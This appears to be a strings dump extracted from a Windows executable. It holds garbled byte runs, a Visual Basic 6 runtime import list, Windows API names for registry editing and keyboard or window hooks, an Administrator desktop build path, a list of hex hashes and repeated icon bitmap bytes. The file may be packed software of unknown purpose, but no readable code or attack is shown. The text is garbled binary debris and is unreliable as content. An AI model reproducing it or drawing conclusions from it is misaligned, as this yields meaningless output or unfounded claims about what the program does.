MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
3964344A5F101BBA10AF84388155DFBD
1FD3607D4327B50EB6EDDABE78C6FA87
D1B2D8671EFC317E434137437EEF4A96
370027142FF336DDB2EE9E351C47EDA5
D47BD13313C220FC81E2540FDD038E6A
4C247094201EB65DE12AA17F20575ED9
7EAE529F10C8EA87C8CADCC469D1CE76
CE9ADAC29177BF143E24B1BCE2A0859C
5BB894201EF96C9C75AE3F22DD9BEB74
B3238B574B3390358ED3AC8F60226CCD
9FEBFDDC3BFD3D2FCB45F7F1D8FF39E7
199350BB6558935F20C7C2ACB1D2A315
065AC7FCDA71AF7905F67307B1E0131F
184806EBCFA7D9D66674D0362DFDA9FC
B30CD0A83AF9B887FDCB16B4059078D4
0D4261D61956CCBFEC24C5D476B6C801
25A99EB4214CFE27E51E3F9CD7097407
E24026E736358CD755DF447A99406D3A
HH;s+]
SV393u
WuuSMuuuSM,u
uuSMPuuSMptSl|uSx
MMJMMM*M_M^[d
SW39tb9_
t]V]]WM]
SW39tb9_
t]V]]WM]vj
SW39tb9_
t]V]]WM];j
SV393th9s
tcuuSMuY9s$t@j
t>EEVMEqE
(VW39>t^9~
tY}}VM
}}}VME
1`7_^U
187_^-
PQ _|%f}
NYYu^]
Sn_^[]
VVMF$t1D
9u_N$t
VVM=F,
<uN,_t
VVM2F0t-
SCYYPu
P+PS$u
S3V^8^<^@W=T
^$^(^,^D^H^L^P^T^X^\^`^d^h
Xlh@Pj\X=~
Xl[h@Pj\X~
;}/Php
SW39;}
}}SM}9{
X]LTD8<P4E
TT;|gPh
T1;|DT;t
SVWXE3Vh
XuPTH@DS<E
SVWE+3Vh
G$Ph\2
G(Ph@2
G,Ph(2
p[$;th38j
Y}83t4u9HE
SVWXE3Sh
TY|?Tt
9U>_^J
9-N 9#N
VW39>tR9~
tMS}}VM}E
VW39>tR9~
tMS}}VM}mE
VW39>tR9~
tMS}}VM}
VW39>tR9~
tMS}}VM}
VW39>tR9~
tMS}}VM}E
SVWXE3Vh
VW39>tR9~
tMS}}VM}E
XEH3Sh
X]PTH48@0E
;|\9Tt\T@D
;|DT;t
DWXH3Sh
3;@tcH@`
;|DT;t
VWWMjw
MtFW>p
SVWXEH3Sh
WT;|DT;t
SVWXEO3Vh
XuPTH<@S8E
VT|FTt
SVWXE 3Wh
F Ph4E
T |?Tt
TWXE-3Ph
XEPHTVhtF
3Dt^Dp
PTW;|FPt
VW39>tR9~
tMS}}VM}
VW39>tR9~
tMS}}VM}
VW39>tR9~
tMS}}VM}}E
SVWXEG3Sh
X]TPLD
;|A9DH
b|M_^d
L@[L;t
;|N9LtRL@L;t
VW39>tR9~
tMS}}VM}
UQQSV5
VVPVPVVVVVV
PSPVPP
;u?SVP
M_^[T(
S4PW0,
;YtajfY3
,S4P,0
SVW3S8QLQS<QEE
,PHPSh?
SLPSP0
;u`@S8PLPS<PP@D8<
QQWVWWWPh
jd4PjdWh,
PPWVWWW
Yu3YYu
iM_^[b
It{It9I
u`Y3@M_^[s
UQVWju
f}@5po
Wj'Y3d
Wj'Y3df!ldPj
VEP3EPVh?
uYEPEPEPVu
uGEPEPEPVu
UQSVWPo
3Ct&90t
EPShhL
EPShDL
EPShhK
EPSh<K
Ht}HtfHtOHt2Ht
S3VW]]o
]*]]]VME
uM6VMZ^5
M]A^MM\M_^[d
UQV3VEPVh
SV3f90u
utGf=#
f;u9uu#S
f;u3f;.uu>
Y?nt6Ht
VXPjdj
ZXXZ3@^
SVXEqm3j
D8PHSa
D38Q@PWTL
DX8QPWTL
DX8QPWTL
X8QPWT
D8PSWT
D38Q@PWTL
DX8QPWTL
DX8QPWTL
DX8QPWTL
X8QPWT
P4WTSPh
4PPWTPh
SuPHPh
VWXTcjd_
SXP3hl
H<PVLa
H3<Q@PWTP
HX<QPWTP
HX<QPWTP
HX<QPWTP
HX<QPWTP
X<QPWT
VWXT\ajd_
H<PVLa
H3<Q@PWTP
HX<QPWT
HX<QPWTP
HX<QPWT
HX<QPWT
HX<QPWT3C@P
X<QPWT@
<8O<D0QPhM
@PqG|2F
VS^_3[]
VWEZ3X}uZ`jZ_ZTZ(IZ
((7F&F
FXXEEM_d
SVWXEX3}XWWh
S!t!xho
SW3EX\ho
T}J<;u
=((=XX=
=``n=]=MT
VXE.P3j
*9;u)E
y4XX7_[Md
VXEJ3j
#4;u)HE
3;v:9,
XPt9(
3+tSHt=Ht'Ht
?3_[Md
PQXP E
H@@<RQP
XTI@5|o
@4PDSa
@34Q@PWTH
@X4QPWTH
@X4QPWTH
@X4QPWTH
@X4QPWTH
X4QPWT
PLWTSPh
LPPWTPh
SuPHPh
tKWPhI
X6PXP$09H
vLWPhQ
XP4XP,9x
vLWPhJ
XPXP|,9
vLWPhK
XPXP(,9
vLWPhL
XP8XP,`
#tiWPhM
XPXPc
#XX#M^d
XT63SjdX]W"j
tVWXPhN
t!tVWXPhO
PTXPV|
!tOWXPhP
QTPP09Lt0WXPh[
PTXPV @]bX
t!M_^d
WXT(A4F
(v1Wjd(E
4/X}&/E
VPjdWkX
VXPjrW[X
j0d5po
VXPjdWW
VPjdWE
VXPjrW%W
j0d5po
3@M_^d
VXPjdWE
$`Y`VPhs
VXPjdWE
,j0d4W
X/)($)
V(PjdWE
j04dW
SVW33G;EE
xPPtPS|t
(&]&&X&
V(PjdSE
(R#X}D#9#
3@M_^d
W3WS S
EPuWSj
3uLPho
PjgYYj
;tc90t_Vj
VPjdS@
}*VXPjrj
j0d5po
VPjdSY?
PP}*VXPjrj
j0d5po
VPjdS&>
P}*VXPjrj
j0d5po
VPjdS<
P;})VXPjrSX<
j0d5po
+tGHt5Ht#Ht
df8hCVXPhO
+VXPhN
V(PjdWE
VPjrWN9
j045po
YY2XX!
(PXch`Q
(PXh`Q
((wXXfM_^d
df0\Ph
uijdhQ
9hv=LPPPTPXPhQ
Vjn[hQ
f04V5po
XX((|``kZI8Md
u<EPSj
UDSVWh
EEP5po
W3WuEP
E+EWPE+EPE+E
EPW5to
+V4YJ\`
+Vs;5``
3_^[;5l`
SWE30}j
f8@@f98uVW
Wd45po
X``UV`Ph
V(PjnW%
Wld5po
9,(t hR
Xb(WV(Ph
V`PjnW#
W4d5po
((JXX9(
P3Vh<L
M3Fx5Ho
VVWUYu\3A9
VVdV5po
vTl3|j
WXPjdVE
Vd5po
jqYYxMh
WPjd3VE
WXPjiV
j0d5po
W(PjdVE
ddP+@j
XXn]L((;3VVh/
;t?95o
SWPj5|o
SXPjlVE
S(PjdV3
PWdPo095
((XXMl
W3WWEE
uK\Ph`
`PWh4S
v*GGf? w f="
dGtpWq
dstpW,
W'@Pj.} =o
&39u9=o
4PjsWc
NYYShN
t7ShTN
YYShTN
t7Sh(N
YYSh(N
V4Pjd3W
FYYShN
t7ShTN
YYShTN
t7Sh(N
~YYSh(N
twf}66
t7ShTN
YYShTN
t7Sh(N
PYYSh(N
uG`P3PPh
Wdt@Pj d~
lPjfVz
fd[PM_^[w
fDV*^]
_3_^[]
URuPQT|+}
URuPQT|+}
U SVW3S
UREuTq
|P9]tKEP]
PQHE;t
dE{VdXpG
YYu#9`u
YM_^[m
PqXPWV6
W3}X(hZ
`((OXX>-
S df8o
VXWWPX>Yo
;t=PhxU
VX`WWPXXo
;t=PhHU
WWPXXo
VXWWPXlXo
;t=PhT
VXWWPX&Xo
;t=PhT
VXHWWPXWo
;t=PhT
WWPXW9ht_hxT
WWXP(GW4hDT
CdDdPWphZ
804W,E
;LtHXP
P0XPht\
8;t1XQ
PXPh`\
D;t1XQ
PXPhL\
H;t1XQ
PuXPh4\
P;Lu<;
P;Lu8;t+hD[
TD;t+h
TH;t+hZ
XET,23
40TPh^
,YYP;H
SVWXET
P0DPh^
SyYY^W3Gt
t+Ht!Ht
+t+Ht!Ht
YYhPd
PiK -f
Y|jv(T,u
WpVWis
WJ3098
RPTDHQv<Ph0s
YYhPd
VXJOuXP
7v!;hs
XX{M_^d
3SEEEA
E0EPhx
SV3;WE
WVW37(
W/YYhPd
WLVWEs
WYY3M_^d
SVW3;E
@PaPh0
YYt"7h
WSm0Xe
@Pj\y~
y3M_^d
PX4XPhx
PXyXPhx
PX$XPhx
PXiXPhx
P(lh,T
\ 3*qM_^d
E0EPh0
E0EPh0
YY^ltD`
W~VWws
WSYY3_^
PX:zXPh
PXyXPh\
dXXd$b
YYhPd
3((*`M_^d
XHTPrHPhH
PV;YYt
PVh;YYt
PV<;YYt
PX`lHXPh
V@YYh
XPVWV^h
XPViWV
X3M_^d
WXTDk3
Hu3d(hh
TYYh,T
nT``]T\
T#YYh,T
SS((SXXSM_^d
ZN48V0E
NLPVHE
NptVlE
2O@DV<E
hO(,V$E
OdhV`E
PX\VTE
|q!|^%|K=Pq
Wffffff
YY]j`h
3{FF3f
FFW](j
w\SVP9
YE;t:FHE;r
9}uX;u
E;t0FHE;r
9}u";u
EE;u`9=t
3CSVW5`
UQQSVWd5
SVWE3PPPuu
E_^[E]
USVWUj
P(RP$R
t5|$(t
;t$(v(4v
UQPXY]Y[
@@fu+E
fSt8+f
@@fu3[_]
@@fufM
HLNLHPNPP3Y`
vPVLPQE
Y3^_[]
AABBM
tJf9}tDf9Et<}
3F95xr
3MYY[]
31YY[]
SVEW3;
@u+@<v)P
UQSVW>
<"u>"u
3Y[^_5Xr
@B8\t8"u&
UQQSVW39=
W33;u.
;tuf9t
SSS+S@PWSSE;
;YEt!SSuPuWSS
uGY]]W
;rSVWEP
YYt(V5
PYF,;t
PYF4;t
PYF<;t
PYFD;t
PYFH;t
PYFT=pa
Y}F`E;t
FdE;tM
YYt+V5
3@^p3^
3]3@]h
+SVWEePEEEEd
Y_^[QVC20XC00U
33333]^]
]_^[]UL$
f;rof=p
f;r_f=Z
f;rOf=
rBPf;rAf=*
f;r1f=J
f;r!f=
3"p@d;
VDYYFu
WYYuf_]h0
PyYYtF
YYGG3f
YfdtSfitMfotGfxtAfXu
1ht lt
g~Bit!n
(j-_f;u
YtdV(PW
GGf?^u
f]t`FFf9s
jx^f;tZfXtT
S~YYj0[
ptBuf%
F$|3@_^
k3Y@_^]
W3;u4DP
MOI;|9M
WI <}}
MLD3#um
#Mj _^{
;]r;]u&
]#\D\D
FF@@u3
YYE@xE@|EpxM
EE8csmu%Ex
EPQ3VW
GuRYMHxMH|>csmu6~
tu$u u
WEPEPVu u
;EsVS;7|B;w
;Er[_^
Wcsm9>
}EPEPWu u
(u$u ]u
VYY_^[
u u$u uu
tP8csmu,9x
U$Ru u
P 3@_^]j
VW_^]M
It7ht&lt
HHtxHHtt
@@@u3@t
t-RPWS
CYCY~9PM
PvCC>Yt
j ^f;r
It6ht&lt
}]UZtg
@@@u3@t
t-RPWSH/
uH80t8
A80t.F
EVM(^[
uMSW<t
D=VP YYtG;|fE
YYM_^[@=
r$$w@
W=YEMT
tc;t_F,98uXF4;t
YYF0;t
YYv,}v<uYYF@;
PZvDRYYFP;
vP+YYV#Y_^]
3;t/A,
QoYFd^j
W>+~'WPv
7Y}3u;5@
tVPVDYY3BU y
qtb+tG
VbtFHt+
Y]3u;5@
4VYY y
GIt%t)
Gt/KuD$
GKu[^D$
VPVPV5v
@;rD3Ar
@;vAAy
YE;uo>
EtVMf9MZ
_^[j$h
33F9=lu
u2EPVh|
M3F]39}u
SVeYYE;tuWWSuu
P}YEtnu
fNPSuu
E_WEPE
UDSVWj
E3;}M]
@@Ju;t
;tD9]u?8\
EPSRWjQSv
M_^[.x
BG;U|E
EPSSSjQSv
;F(r(8_
t#F(39]
DDDDDDDDDDDDDD
;|P+;E
ue9t-j
*09)Y+
s9~(~
j YjY+
VWj Y}
PjY+3BR0H%
Yj^+3B
QP4YYu
<+3E_^[
|3@]3]
SVWj ^]
EPEPEWPv
@PEP 3;>v
|!3}MEP^
fYY3jY+N
3QQQEE
QPEPEP#
EVPM$^vh
3QQQEE
QPEPEP#
EVPdM$^.h
tAt2t$
@u+@PWV
EPVcM s
u5SSWh|
E SSSSu
]M3G9]u
YE;t}SSuuu
e33Mu;u
V?Y;thE
WreY9]t
ev$dv(dv,dv0dv4dv
dv8dv<d@v@dvDdvHdvLdvPdvTdvXdv\
dv`wdvdodvhgdvl_dvpWdvtOdvxGdv|?d@
PWcY^]
PbYv$Dk
VtbY^]UV3PPPPPPPPU
u5EP3GWh|
V`YEn}
e}UWVSM
[^_UV3PPPPPPPPU
t78t2=`
3@_^[]
PYYtbF
EEuzEE
YXS9YtJU
t1SaYP
t@ t20t$@t
/t(;t$;t
8EPuuu
uWEY>j
u|Yj4h@
u8WW3FVh|
YE;t@E
t!SS9]
u1VY9]t
E;tWWu
EPSu u
YMMjDhh
39}t WWu
tjEEb9}u
WWWWVSWu
;tG3Vj
YYE;t43WWVPVSWu
HHtjHHtF
u9S\UC\
}]39Mt
WVE;Yu
;VWEN@
vOE}SLSFEPSS6E
EMu39S
tfEM_^fC
+t5-t00
uFQ3@}
G0t1|
HHu&Mj
PQYuuO
#fEEEEEEEEEEEE?E
PEPfU}Y
EPMYu}
EPNYuO
EPoEPfEPEPEPPEM
0H;s;s
@UWVSu
F'G8t,A<
WN^xd;=g
tXSjYe
EPKYu}
u5}u,e
MuVQTYYM39U
6UWVSM
B8t6t8t't
M}M}M3~M~M~M#
M{M|@F
g~X\~`Q~F~;~(0~
~|UzpzG{LG
Tuy}`}}X}(}}G
Xt}y^}G
X}qzy|<H
X|@izH
(|Xu|j|_|XT|I|X>|3|X(|
x({{X{X{({lI
({{{p{Xe{I
(K{X@{5{I
w(]zRzJ
8zX-z"z K
z(yyy\K
yyy`y(yXyK
|y0qyfy[y(PyXEyX:y`/y$y(
y(xx`x<L
xmtXxxWtxXxxuxtX{xpx(exZxOxXDxxsltL
wwXw(wwPM
uOuX7wM
w`v(vXv
(vXwvlvN
XRvXGvN
X-v("v
q0qH&rlsr
s$Zs`sxsT#
RegCloseKey
RegSetValueExW
RegCreateKeyExW
RegEnumValueW
RegQueryInfoKeyW
RegOpenKeyExW
RegQueryValueExW
RegEnumKeyW
RegEnumKeyExW
RegDeleteKeyW
RegFlushKey
RegDeleteValueW
RegNotifyChangeKeyValue
ADVAPI32.dll
lstrlenW
EnterCriticalSection
InterlockedIncrement
LeaveCriticalSection
InterlockedDecrement
GetSystemDirectoryW
GetCurrentDirectoryW
InitializeCriticalSection
GetFileAttributesW
GetModuleFileNameW
DeleteCriticalSection
CloseHandle
HeapFree
HeapAlloc
GetProcessHeap
lstrcpyW
lstrcmpW
GetWindowsDirectoryW
CompareFileTime
lstrlenA
GetVersionExW
WaitForMultipleObjects
WaitForSingleObject
SetEvent
GetCurrentThreadId
FreeLibrary
LoadLibraryW
GetCommandLineW
CreateEventW
GetSystemInfo
GetFullPathNameW
QueryPerformanceCounter
GetTickCount
GetCurrentProcessId
GetSystemTimeAsFileTime
TerminateProcess
GetCurrentProcess
UnhandledExceptionFilter
SetUnhandledExceptionFilter
GetStartupInfoA
GetCommandLineA
GetVersionExA
HeapReAlloc
RtlUnwind
ExitThread
TlsSetValue
TlsGetValue
GetLastError
CreateThread
ExitProcess
GetProcAddress
GetModuleHandleA
WriteFile
GetStdHandle
GetModuleFileNameA
FreeEnvironmentStringsA
GetEnvironmentStrings
FreeEnvironmentStringsW
WideCharToMultiByte
GetEnvironmentStringsW
SetHandleCount
GetFileType
TlsFree
SetLastError
TlsAlloc
HeapDestroy
HeapCreate
VirtualFree
VirtualAlloc
IsBadWritePtr
HeapSize
LoadLibraryA
GetACP
GetOEMCP
GetCPInfo
InterlockedExchange
VirtualQuery
GetStringTypeA
GetStringTypeW
VirtualProtect
MultiByteToWideChar
IsBadReadPtr
IsBadCodePtr
SetFilePointer
LCMapStringA
LCMapStringW
GetLocaleInfoA
SetStdHandle
FlushFileBuffers
CreateFileW
SetEndOfFile
ReadFile
KERNEL32.dll
GetTextExtentPointW
GDI32.dll
EnableWindow
SendMessageW
GetDlgItem
MessageBoxW
LoadStringW
wsprintfW
EndDialog
DialogBoxParamW
GetWindowLongW
CallNextHookEx
PostMessageW
IsWindowEnabled
GetKeyState
DestroyWindow
MessageBoxA
wsprintfA
LoadStringA
SetDlgItemTextW
ShowWindow
CheckDlgButton
SetWindowTextW
ReleaseDC
SetDlgItemInt
GetDlgItemInt
GetDlgItemTextW
CheckRadioButton
LoadIconW
SetForegroundWindow
KillTimer
SetTimer
SetFocus
GetFocus
SetWindowPos
AdjustWindowRectEx
GetWindowRect
CreateDialogParamW
GetClientRect
UpdateWindow
PostQuitMessage
UnhookWindowsHookEx
SetWindowsHookExW
DispatchMessageW
TranslateMessage
IsDialogMessageW
PeekMessageW
MsgWaitForMultipleObjects
GetDesktopWindow
USER32.dll
ImageList_Destroy
ImageList_ReplaceIcon
ImageList_Create
COMCTL32.dll
GetSaveFileNameW
comdlg32.dll
ShellExecuteW
SHELL32.dll
CoInitializeSecurity
CoInitialize
CoCreateInstance
CoUninitialize
ole32.dll
OLEAUT32.dll
Ix@oGAkU'9p|B
~QCv)/&D(
uuvHMXB
9;5SM]=];Z] T7aZ%]g']
?Zd;On
7?3=Bz
;1az?aUY~S|
D?$?9'
*?}d|FU>c{
zc%C1<!8G
u7.:3q
#2IZ9W
,%I-64OSk%Y
kkggfffl
{kgfvfffffl
gffffff
{kkfvfffffl
wvffffff{;s{vffffl
7'{kkfgwffff
3fwwfrfffl
k{kvp*ffff
2*gg2*jfff;"f{{kc2ffffl
2*j{"jfffl
;3"*w{p*fff
"g{0*jfff333
wff;30
"j{3""wffs33
""c2*"{fgl
"*z"3wffl7;;;30
" 3wfvl
{kffs;30
*#7fg|;3;3
*#{{wkwv|{;3;;30*gw|
{kkgg|{3;33
jgw;32{g|s3;;;0***g;333
"*{s332"
"*;{;3
"3;33{
#3;3;;;3{
7033ws333;;;;;
{{{{{{
kkggfffl
{kgfvfffffl
gffffff
{kkfvfffffl
wvffffff{;s{vffffl
7'{kkfgwffff
3fwwfrfffl
k{kvp*ffff
2*gg2*jfff;"f{{kc2ffffl
2*j{"jfffl
;3"*w{p*fff
"g{0*jfff333
wff;30
"j{3""wffs33
""c2*"{fgl
"*z"3wffl7;;;30
" 3wfvl
{kffs;30
*#7fg|;3;3
*#{{wkwv|{;3;;30*gw|
{kkgg|{3;33
jgw;32{g|s3;;;0***g;333
"*{s332"
"*;{;3
"3;33{
#3;3;;;3{
7033ws333;;;;;
{{{{{{
kkggfffl
{kgfvfffffl
gffffff
{kkfvfffffl
wvffffff{;s{vffffl
7'{kkfgwffff
3fwwfrfffl
k{kvp*ffff
2*gg2*jfff;"f{{kc2ffffl
2*j{"jfffl
;3"*w{p*fff
"g{0*jfff333
wff;30
"j{3""wffs33
""c2*"{fgl
"*z"3wffl7;;;30
" 3wfvl
{kffs;30
*#7fg|;3;3
*#{{wkwv|{;3;;30*gw|
{kkgg|{3;33
jgw;32{g|s3;;;0***g;333
"*{s332"
"*;{;3
"3;33{
#3;3;;;3{
7033ws333;;;;;
{{{{{{
vvvfff
wffffl
w{kffvff
2{wwvffl
0*kkvpffl
"ws*ffl3
"*k0vls0
"*2"vf;;3
wffs330
{{wk{;;32g
330*gks3
"s0"*#0
;;33;{w3
33w73;;;7{{{{{{{|
vvvfff
wffffl
w{kffvff
2{wwvffl
0*kkvpffl
"ws*ffl3
"*k0vls0
"*2"vf;;3
wffs330
{{wk{;;32g
330*gks3
"s0"*#0
;;33;{w3
33w73;;;7{{{{{{{|
vvvfff
wffffl
w{kffvff
2{wwvffl
0*kkvpffl
"ws*ffl3
"*k0vls0
"*2"vf;;3
wffs330
{{wk{;;32g
330*gks3
"s0"*#0
;;33;{w3
33w73;;;7{{{{{{{|
wgvl2{pf
l;0*vl30'l332gl30*{
0#233;70?kk
wgvl2{pf
l;0*vl30'l332gl30*{
0#233;70?kk
wgvl2{pf
l;0*vl30'l332gl30*{
0#233;70?kk
\djpx~HHVZdjs~@@HV\fs~LBHHQYamxBBLLQQVYdjs~FFLLLH@HSXZdmxFFFBB;;3<CUSYajs~DDD<<333*=ieUV\fpxD><<5%%%
^XZdms~N>>5%%%
$cYajsxNC>5
r[afpx~C>8*
cZdjsxzNC8'
n[\djs{}
cY\flzq
nXY\ce
GgLTW`
q}z]O:"
_enuv~]O:"
hi^ckmpsx]O:
i^[\adfjm~~gW:
^XYYZ\\dpxo]=)
.TQQVVVYfxso]K1
rHHHHQQZp~xpogW=)
^@@@@HVfsppoW=1
o;3;;Q\jfoeK=
<33HVadooW=1
C3@QYdweK7
i>HQVtoWI$
R>LVZweWR
-:<LVtweIE.J
>FSbwteRE.J
M$8<LXyteRE.J
.M$6<FS
teRE.J
weREMJ
yei_`G
!0:9CDTyytiqh`-
(29?CNUw
|}iqRK=:000//+449??NNUUw
|teeWWOAAAAOOPPPPUUty
yoggg]]]^^^^^^orrrrrnnn^^
\djpx~HHVZdjs~@@HV\fs~LBHHQYamxBBLLQQVYdjs~FFLLLH@HSXZdmxFFFBB;;3<CUSYajs~DDD<<333*=ieUV\fpxD><<5%%%
^XZdms~N>>5%%%
$cYajsxNC>5
r[afpx~C>8*
cZdjsxzNC8'
n[\djs{}
cY\flzq
nXY\ce
GgLTW`
q}z]O:"
_enuv~]O:"
hi^ckmpsx]O:
i^[\adfjm~~gW:
^XYYZ\\dpxo]=)
.TQQVVVYfxso]K1
rHHHHQQZp~xpogW=)
^@@@@HVfsppoW=1
o;3;;Q\jfoeK=
<33HVadooW=1
C3@QYdweK7
i>HQVtoWI$
R>LVZweWR
-:<LVtweIE.J
>FSbwteRE.J
M$8<LXyteRE.J
.M$6<FS
teRE.J
weREMJ
yei_`G
!0:9CDTyytiqh`-
(29?CNUw
|}iqRK=:000//+449??NNUUw
|teeWWOAAAAOOPPPPUUty
yoggg]]]^^^^^^orrrrrnnn^^
\djpx~HHVZdjs~@@HV\fs~LBHHQYamxBBLLQQVYdjs~FFLLLH@HSXZdmxFFFBB;;3<CUSYajs~DDD<<333*=ieUV\fpxD><<5%%%
^XZdms~N>>5%%%
$cYajsxNC>5
r[afpx~C>8*
cZdjsxzNC8'
n[\djs{}
cY\flzq
nXY\ce
GgLTW`
q}z]O:"
_enuv~]O:"
hi^ckmpsx]O:
i^[\adfjm~~gW:
^XYYZ\\dpxo]=)
.TQQVVVYfxso]K1
rHHHHQQZp~xpogW=)
^@@@@HVfsppoW=1
o;3;;Q\jfoeK=
<33HVadooW=1
C3@QYdweK7
i>HQVtoWI$
R>LVZweWR
-:<LVtweIE.J
>FSbwteRE.J
M$8<LXyteRE.J
.M$6<FS
teRE.J
weREMJ
yei_`G
!0:9CDTyytiqh`-
(29?CNUw
|}iqRK=:000//+449??NNUUw
|teeWWOAAAAOOPPPPUUty
yoggg]]]^^^^^^orrrrrnnn^^
cjpw~IIQcs~DDDIQcp{E>>336JNUjs~B66-)0uWM_m{B6-&
!khUjs|8)
h_lt=2#
S^hlow~\C
uTV__j{weC+
vNKMUp~seR9
WEIcsmaa9'
fEQjcnH1
FKUnb?(
CDKbq^S.
58DMqvgX
2>GyxgXiX
,+6EbyxgXi
.,'8ENfyxgk
/18BLfyvu}k@!
+1<ABLqxt^H<772::=FJJ]qyrne`\OWWWJJ\eedddWO
cjpw~IIQcs~DDDIQcp{E>>336JNUjs~B66-)0uWM_m{B6-&
!khUjs|8)
h_lt=2#
S^hlow~\C
uTV__j{weC+
vNKMUp~seR9
WEIcsmaa9'
fEQjcnH1
FKUnb?(
CDKbq^S.
58DMqvgX
2>GyxgXiX
,+6EbyxgXi
.,'8ENfyxgk
/18BLfyvu}k@!
+1<ABLqxt^H<772::=FJJ]qyrne`\OWWWJJ\eedddWO
cjpw~IIQcs~DDDIQcp{E>>336JNUjs~B66-)0uWM_m{B6-&
!khUjs|8)
h_lt=2#
S^hlow~\C
uTV__j{weC+
vNKMUp~seR9
WEIcsmaa9'
fEQjcnH1
FKUnb?(
CDKbq^S.
58DMqvgX
2>GyxgXiX
,+6EbyxgXi
.,'8ENfyxgk
/18BLfyvu}k@!
+1<ABLqxt^H<772::=FJJ]qyrne`\OWWWJJ\eedddWO
2DJMQ ;8HLSWU
]?9IO\V
iz7>v}X
ok~dbsYQ
lqwKNM
e|4:HJ#
c`r@'0E-
u`_dh{Z(6")mga^Rnx%=.pjfy
lt,&CB
*$<71/+8?!k
2DJMQ ;8HLSWU
]?9IO\V
iz7>v}X
ok~dbsYQ
lqwKNM
e|4:HJ#
c`r@'0E-
u`_dh{Z(6")mga^Rnx%=.pjfy
lt,&CB
*$<71/+8?!k
2DJMQ ;8HLSWU
]?9IO\V
iz7>v}X
ok~dbsYQ
lqwKNM
e|4:HJ#
c`r@'0E-
u`_dh{Z(6")mga^Rnx%=.pjfy
lt,&CB
*$<71/+8?!k
))77DDQQ__kkppqqooee
((88EEPP[[ffppxx
++::HHVVeeqq}}yy_AA
JJJt))^!!&&..55CCOO]]mmzz
DDD"$$ %%--//2244::DDPPZZhhtt
NNN$%%""%%**++**((%%''1199EEQQ__kkxx
ZZZ"$$!!%%$$""
--55BBNN[[gguu
--9977==IIVVbbllxx
CbbZnn@@==FFRR^^hhss||
&KqddBBCCOOZZddnnyyzz
OO7WW?z
BcNNCCLLUU``jjss||zzYY<$$
5Ur^^DDFFPPZZddmmssffd66
(FcMMCCJJSS\\eeeeII/
6UrjjCCCCKKTTZZRRg..
(EcGG<<AAIILL::4
6Uv\\;;77>>99h!!
&FeAA//00''8
3RmNN,,##]
=Up;;d JJ
__::^<<yymm
d++GG__ss{{
b""::OO__ffppxx||
((>>MMWW]]``ddmm}}xx
